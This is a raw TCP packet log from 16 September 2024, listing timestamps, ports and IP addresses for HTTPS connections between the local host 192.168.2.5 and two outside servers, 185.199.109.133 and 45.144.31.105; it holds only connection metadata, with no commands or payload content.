Sep 16, 2024 08:23:50.917526007 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917547941 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917577982 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917629957 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.984967947 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.985032082 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.985074043 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.985110044 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.985151052 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021647930 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021667957 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021708012 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021728992 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021773100 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021787882 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021815062 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021850109 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021850109 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021867037 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021908045 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021908045 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021919966 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021958113 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.021996021 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.021996021 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022008896 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.022047043 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.022072077 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022072077 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022085905 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.022135019 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.022160053 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022160053 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022173882 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.022233963 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022233963 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.022284031 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.127398014 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.127454042 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.227404118 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.227466106 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.323425055 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.323477983 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.547421932 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.547481060 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:51.643407106 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:51.643469095 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.155426025 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.158273935 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.320877075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.320899963 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.320914984 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.320956945 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.320964098 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.320976973 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.320988894 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.321010113 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.321022987 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.321027994 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.321060896 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.321067095 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.321079969 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.321095943 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.321100950 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.321149111 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.321193933 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.379410028 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.382230043 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.475441933 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.478215933 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.527409077 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.529968977 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.808900118 CEST	49767	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:52.808942080 CEST	443	49767	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:52.809035063 CEST	49767	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:52.829576969 CEST	49767	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:52.829596043 CEST	443	49767	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:52.829708099 CEST	443	49767	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:52.910322905 CEST	49768	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:52.910345078 CEST	443	49768	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:52.910408020 CEST	49768	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:52.955409050 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:52.955459118 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:52.958194971 CEST	49768	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:52.958208084 CEST	443	49768	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:52.958281040 CEST	443	49768	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:53.096585035 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096607924 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096625090 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096673012 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096679926 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096694946 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096710920 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096715927 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096738100 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096745014 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096774101 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096780062 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096791983 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096811056 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096815109 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.096868992 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.096894979 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.296586990 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.296653032 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.296684980 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.296731949 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.296752930 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.296802998 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.296802998 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.307405949 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.307450056 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406056881 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406109095 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406136990 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406162024 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406301022 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406301022 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406327009 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406368971 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406398058 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406430006 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406440973 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406475067 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406511068 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406522989 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406554937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406554937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406569958 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.406629086 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406629086 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.406681061 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.496789932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.496851921 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.496890068 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.497039080 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.497039080 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531137943 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531152010 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531188011 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531208038 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531260967 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531277895 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531306982 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531336069 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531356096 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531379938 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531409025 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531446934 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531447887 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531461954 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531496048 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531527996 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531527996 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531543016 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531574965 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531609058 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531622887 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.531687975 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531725883 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.531747103 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.611403942 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.611470938 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.723409891 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.723459959 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.739427090 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.739476919 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:53.819441080 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:53.819503069 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.047410965 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.047489882 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079112053 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079153061 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079173088 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079224110 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079231024 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079242945 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079255104 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079277039 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079282045 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079323053 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079328060 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079366922 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079371929 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079416990 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079474926 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.079480886 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.079528093 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.171442032 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.171540976 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.291439056 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.294059992 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.715436935 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.718072891 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:54.875442028 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:54.877218962 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.003447056 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.004641056 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.409148932 CEST	49769	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.409197092 CEST	443	49769	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.409262896 CEST	49769	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.426593065 CEST	49769	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.426605940 CEST	443	49769	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.426786900 CEST	443	49769	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.503216982 CEST	49770	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.503242970 CEST	443	49770	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.503330946 CEST	49770	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.526326895 CEST	49770	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.526339054 CEST	443	49770	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.526443005 CEST	443	49770	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.547482014 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.547581911 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.597188950 CEST	49771	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.597210884 CEST	443	49771	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.597301006 CEST	49771	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.615673065 CEST	49771	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.615686893 CEST	443	49771	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.615741014 CEST	443	49771	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.712636948 CEST	49772	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.712723017 CEST	443	49772	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.712804079 CEST	49772	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.768826008 CEST	49772	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:55.768868923 CEST	443	49772	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.768920898 CEST	443	49772	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:55.869231939 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869247913 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869263887 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869303942 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869309902 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869318962 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869350910 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869355917 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869391918 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869399071 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869412899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869426966 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869431019 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869440079 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869482994 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869488955 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:55.869525909 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:55.869560957 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.049071074 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.049109936 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.049127102 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.049196005 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.049206018 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.049225092 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.049253941 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.049273014 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.075439930 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.075493097 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.259454966 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.461534023 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.511406898 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.511460066 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600286007 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600337982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600370884 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600389957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600413084 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600430965 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600466013 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600466013 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600487947 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600507975 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600533962 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600553036 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600574017 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600593090 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600610018 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600626945 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600663900 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600665092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600692987 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600713015 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600737095 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600756884 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600779057 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600810051 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600830078 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600857973 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600878954 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600904942 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600922108 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600944996 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.600971937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600971937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600972891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600972891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600972891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600972891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600972891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600972891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.600996017 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601020098 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601042986 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601067066 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601090908 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601115942 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601144075 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601169109 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601188898 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601212978 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601212978 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601212978 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601212978 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601213932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601213932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601213932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601213932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601238012 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601268053 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601289988 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601320982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601347923 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601370096 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601392031 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601418018 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601449013 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601475000 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
